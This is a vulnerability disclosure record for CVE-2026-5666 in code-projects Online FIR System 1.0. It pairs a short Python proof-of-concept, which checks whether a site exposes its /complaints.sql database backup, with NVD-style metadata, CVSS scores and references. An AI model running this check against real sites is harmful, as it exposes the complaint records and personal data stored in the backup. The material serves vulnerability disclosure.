CVE-2026-5666

#!/usr/bin/env python3 # PoC for CVE-2026-5666: Sensitive Information Disclosure via exposed SQL backup import requests def check_vulnerability(target_url): # The vulnerable endpoint is the exposed backup file backup_url = f"{target_url.rstrip('/')}/complaints.sql" try: response = requests.get(backup_url, timeout=10) if response.status_code == 200 and 'CREATE TABLE' in response.text: print(f"[+] Vulnerability confirmed! Database backup found at: {backup_url}") print(f"[+] Content length: {len(response.text)} bytes") return True else: print(f"[-] Target does not appear to be vulnerable. Status: {response.status_code}") return False except Exception as e: print(f"[!] Error connecting to target: {e}") return False if __name__ == "__main__": target = "http://127.0.0.1/Online_FIR_System" # Replace with actual target check_vulnerability(target)

{"cve": {"id": "CVE-2026-5666", "sourceIdentifier": "[email protected]", "published": "2026-04-06T16:16:41.950", "lastModified": "2026-04-27T19:04:22.650", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was detected in code-projects Online FIR System 1.0. Affected by this issue is some unknown functionality of the file /complaints.sql of the component SQL Database Backup File Handler. The manipulation results in insecure storage of sensitive information. The attack may be performed from remote. The exploit is now public and may be used."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "baseScore": 5.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 10.0, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-200"}, {"lang": "en", "value": "CWE-922"}]}], "references": [{"url": "https://code-projects.org/", "source": "[email protected]"}, {"url": "https://github.com/ahmadmarz10-hub/CVEsMarz/blob/main/Sensitive%20Information%20Disclosure%20in%20Online%20FIR%20System%20PHP%20Exposed%20Database%20Backup.md", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/786322", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/355489", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/355489/cti", "source": "[email protected]"}]}}